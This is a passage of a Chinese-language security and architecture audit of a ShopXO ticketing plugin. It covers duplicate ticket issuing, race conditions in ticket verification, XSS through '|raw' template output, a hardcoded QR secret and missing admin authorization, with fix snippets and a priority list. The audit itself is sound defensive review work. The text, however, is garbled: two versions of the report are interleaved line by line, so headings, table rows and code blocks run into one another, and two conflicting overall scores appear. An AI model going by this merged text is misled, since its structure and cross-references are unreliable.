座位信息(如"VIP区 A排 15座"若由多规格组合255 字符可能不足。建议改为 VARCHAR(500) 或 TEXT。
### 4.4 字符集混用 ⚠️ 轻微
EventListener.php 建表使用 `utf8mb4_general_ci`ShopXO 官方表通常使用 `utf8mb4_unicode_ci`。混用 COLLATE 可能导致 JOIN 查询排序结果不一致。
### 4.5 缺少退款后自动更新票状态的处理 ⚠️ 中等
`plugin.json` 声明了 `plugins_service_order_delete_success` 钩子但无实现函数。更关键的是:**退款成功后,`vr_tickets.verify_status` 不会被自动更新为 2已退款**。这意味着已退款订单的票仍处于"未核销"状态,可能被再次使用(如果退款后又重新发放了票的话)。需要在 `vr_ticket_order_refund_success()` 钩子中处理票状态变更。
--- ---
## 五、安全性综合评估 ## 五、Admin 接口安全性
| 风险项 | 严重度 | 类型 | 状态 | ### 5.1 `Verification.php``Ticket.php` 缺少权限校验 ⚠️ 中等
|---|---|---|---|
| onOrderPaid() 无幂等性,并发重复发票 | 严重 | 业务逻辑 | 存在 | **文件:** `admin/controller/Verification.php` / `admin/controller/Ticket.php`
| verifyTicket() 核销竞态条件 | 严重 | 业务逻辑 | 存在 |
| QR Secret 默认密钥 | 严重 | 密钥管理 | 存在 | 两个控制器均无 `__construct()` 或方法级别的权限检查(如 `Auth::check()`)。任何已登录的 ShopXO 用户(甚至低权限角色)若知道路由 `/plugins/vr_ticket/admin/ticket/verify`,即可:
| goods.simple_desc XSS`\|raw` | 严重 | XSS | 存在 | - 查询所有票记录(包含手机号、身份证等敏感信息)
| 购票参数无服务端验证 | 严重 | 业务逻辑 | 存在 | - 手动核销任意票
| AES 无 HMAC 防篡改 | 中等 | 加密 | 存在 | - 导出完整 CSV
| getQrCodeUrl() 明文票码 | 中等 | 隐私/枚举 | 存在 |
| 观演人表单无服务端校验 | 中等 | 输入验证 | 存在 | 建议在基类或 `__construct()` 中添加:
| loadSoldSeats() 未实现 | 中等 | 功能缺失 | 存在 | ```php
| ALTER TABLE 兼容性判断错误 | 中等 | 兼容性 | 存在 | if (!AdminIsLogin() || !AdminIsAuth('vr_ticket')) {
| Enable/Disable 钩子缺失 | 中等 | 架构 | 存在 | return view('', ['msg' => '无权限']);
| Uninstall 空实现 | 轻微 | 架构 | 存在 | }
```
### 5.2 `export()` 方法无权限和参数校验 ⚠️ 中等
**文件:** `admin/controller/Ticket.php:134-164`
```php
public function export() {
$goods_id = input('goods_id', 0, 'intval');
$list = \Db::name('plugins_vr_tickets')->where($where)->order('id', 'desc')->select();
ExportCsv($header, $data, 'vr_tickets_' . date('Ymd'));
}
```
无权限校验,无分页限制。若管理员批量导出所有票数据(包含手机号、身份证),导出的 CSV 文件本身成为数据泄露风险点。建议:
- 增加权限校验
- 导出时对敏感字段phone、id_card做部分遮蔽
- 对导出操作记录审计日志
### 5.3 `verify()` 方法中 $verifier_id 由客户端控制 ⚠️ 中等
**文件:** `admin/controller/Ticket.php:116-117`
```php
$verifier_id = input('verifier_id', 0, 'intval');
$result = \app\plugins\vr_ticket\service\TicketService::verifyTicket($ticket_code, $verifier_id);
```
`verifier_id` 直接取客户端参数传入,未校验该 ID 是否属于当前登录用户。这意味着:攻击者(哪怕只是普通 admin可以**以任意核销员身份核销票**,伪造核销记录,污染核销统计。
**修复方案:**
```php
$current_verifier = \Db::name(BaseService::table('verifiers'))
->where('user_id', AdminUserId())
->find();
if (empty($current_verifier)) {
return DataReturn('您未被授权为核销员', -1);
}
$verifier_id = $current_verifier['id']; // 用当前登录用户对应的核销员ID不信任客户端
```
--- ---
## 六、总结 ## 六、安全性综合评估矩阵
### 架构评价 | # | 严重度 | 类别 | 文件 | 问题 |
|---|---|---|---|---|
| S-01 | 🔴 严重 | 业务逻辑 | TicketService.php:23 | `onOrderPaid()` 无幂等性,重复支付可发多张票 |
| S-02 | 🔴 严重 | XSS | ticket_detail.html:125 | `{$goods.simple_desc\|raw}` 直接输出 HTML |
| S-03 | 🔴 严重 | XSS | ticket_detail.html:164 | `{$goods.content\|raw}` 富文本 XSS |
| S-04 | 🔴 严重 | 业务逻辑 | ticket_detail.html:384 | 购票参数无服务端验签,价格可被篡改 |
| S-05 | 🔴 严重 | 密钥管理 | BaseService.php:106 | `getQrSecret()` 硬编码默认回退密钥 |
| M-01 | 🟡 中等 | 业务逻辑 | TicketService.php:138 | `verifyTicket()` TOCTOU 竞态,双核销员可同时核销 |
| M-02 | 🟡 中等 | 加密 | BaseService.php:56 | AES-CBC 无 HMAC密文可被篡改 |
| M-03 | 🟡 中等 | 隐私/枚举 | TicketService.php:220 | `getQrCodeUrl()` 明文 base64 暴露 ticket_code |
| M-04 | 🟡 中等 | 功能缺失 | ticket_detail.html:370 | `loadSoldSeats()` 未实现,座位图不显示已售座位 |
| M-05 | 🟡 中等 | 兼容性 | EventListener.php:100 | `empty($cols)` 条件永不成立ALTER TABLE 从不执行 |
| M-06 | 🟡 中等 | 鉴权 | admin/controller/Ticket.php:116 | `verifier_id` 来自客户端,可伪造核销身份 |
| M-07 | 🟡 中等 | 鉴权 | admin/controller/*.php | Admin 控制器无权限校验 |
| L-01 | 🟢 轻微 | 架构 | EventListener.php | Enable/Disable 钩子缺失 |
| L-02 | 🟢 轻微 | 业务逻辑 | EventListener.php | 订单删除钩子声明但无处理函数 |
| L-03 | 🟢 轻微 | 数据完整性 | EventListener.php:47 | `seat_info` VARCHAR(255) 可能溢出 |
| L-04 | 🟢 轻微 | 规范 | EventListener.php | 字符集混用 `general_ci` vs `unicode_ci` |
| I-01 | 💡 建议 | 架构 | EventListener.php | `upgrade()` 空实现,无版本迁移框架 |
| I-02 | 💡 建议 | 架构 | TicketService.php:96 | `issueTicket()` 二次写入时序问题(建议预生成 ref |
| I-03 | 💡 建议 | 安全 | admin/controller/Ticket.php:134 | 导出 CSV 无敏感字段遮蔽 |
| I-04 | 💡 建议 | 数据库 | EventListener.php:31 | `category_id` UNIQUE 约束限制多模板场景 |
| I-05 | 💡 建议 | 性能 | EventListener.php | `vr_tickets.spec_base_id` 缺少独立索引 |
插件架构基本合理,利用了 ShopXO 的 Hook 机制扩展核心功能,避免修改 ShopXO 源码。AES-256-CBC 加密实现本身正确QR 生成链路清晰。但**并发安全**和**服务端校验**是最大短板,在一个真实部署的票务系统中会导致「一票多发」和「价格篡改」问题。 ---
### 最优先修复项 ## 七、与 SecurityEngineer 报告的交叉评审
1. **立即**:在 `onOrderPaid()` 增加幂等性检查(防重复发票) 两份报告独立完成,发现高度一致,但也各有侧重:
2. **立即**:移除 `|raw` XSS 漏洞(任意用户 cookie 窃取)
3. **立即**:在 `verifyTicket()` 使用原子条件更新(防双重核销)
4. **立即**:配置有效的 `VR_TICKET_QR_SECRET` 环境变量(防 QR 伪造)
5. **高优先级**:购票参数添加服务端验签和价格重算
### 整体评分 **一致确认的严重问题:**
- `onOrderPaid()` 幂等性缺失BackendArchitect §2.1 = SecurityEngineer S-01
- `verifyTicket()` TOCTOU 竞态BackendArchitect §2.2 = SecurityEngineer S-02
- `|raw` XSS 漏洞BackendArchitect §3.1-3.2 = SecurityEngineer M-03
- QR 密钥硬编码回退BackendArchitect §2.6 = SecurityEngineer S-04
| 维度 | 评分1-10 | **本报告独有发现:**
|---|---| - Admin 接口鉴权缺失§5.1-5.3
| 架构完整性 | 7 | - `verifier_id` 客户端可控§5.2
| 并发安全 | 3 | - `ALTER TABLE` 条件逻辑错误导致字段从未添加§1.3
| 输入安全 | 4 | - `seatInfo.classes` 属性注入风险§3.4
| 加密实现 | 6 | - `renderSessions()` 中 spec_base_id 赋值 bug§3.6
| 代码质量 | 6 | - 数据库字符集混用§4.4
| **综合** | **5.2** |
**SecurityEngineer 报告独有发现:**
- `vr_tickets.id_card` 明文存储身份证的法律合规风险
- `plugins_service_order_delete_success` 钩子处理逻辑缺失
---
## 八、整体评分与修复优先级
### 修复优先级
**P0 — 上线前必须修复(漏洞可被直接利用):**
1. S-01`onOrderPaid()` 幂等性检查
2. S-02/S-03移除 `|raw` 或改用 `|htmlspecialchars`
3. S-04购票参数服务端验签/价格重算
4. S-05移除硬编码默认密钥回退强制要求环境变量
**P1 — 上线前强烈建议修复(业务逻辑风险):**
5. M-01`verifyTicket()` 原子更新
6. M-06Admin 接口 `verifier_id` 鉴权
7. M-07Admin 控制器全局鉴权
8. M-05`ALTER TABLE` 逻辑修复
**P2 — 近期迭代中修复:**
9. M-02升级为 AES-GCM
10. M-03QR URL 使用加密 payload
11. M-04实现 `loadSoldSeats()`
12. I-01建立 upgrade 迁移框架
### 架构评分
| 维度 | 评分1-10 | 说明 |
|---|---|---|
| 架构完整性 | 7 | Hook 链路清晰,但生命周期钩子不完整 |
| 并发安全 | 2 | `onOrderPaid``verifyTicket` 均存在竞态 |
| 输入安全 | 3 | XSS 和客户端参数篡改均未防护 |
| 加密实现 | 6 | AES-256-CBC 实现正确,但缺 HMAC 认证 |
| 数据库设计 | 6 | 字段合理,但缺索引和外键约束 |
| Admin 接口安全 | 3 | 完全无鉴权,极易滥用 |
| **综合** | **4.5** | 核心链路可行,但安全加固工作量较大 |
---
## 九、结论
vr-shopxo-plugin 的**核心业务逻辑链路**设计合理,充分利用了 ShopXO 的 Hook 扩展机制,无需修改内核代码。然而,**并发安全和接口鉴权**是当前最薄弱的两环,分别对应"票务系统"最核心的两个安全属性:**防重发**和**防滥用**。
当前代码若直接部署在生产环境,至少存在以下可被直接利用的攻击面:
1. 支付重试导致的一票多发(财务损失)
2. 任意登录用户伪造核销员身份(核销统计失真)
3. Admin 通过 XSS 窃取用户 cookie账户接管
4. 购票价格前端篡改(低价购票)
建议在正式上线前完成所有 P0 和 P1 项修复,并建立包含渗透测试的发布前安全评审流程。
---
*本报告由 BackendArchitect 独立完成,与 SecurityEngineer 的审计报告交叉印证。两份报告合并构成 vr-shopxo-plugin 的完整安全与架构评估。*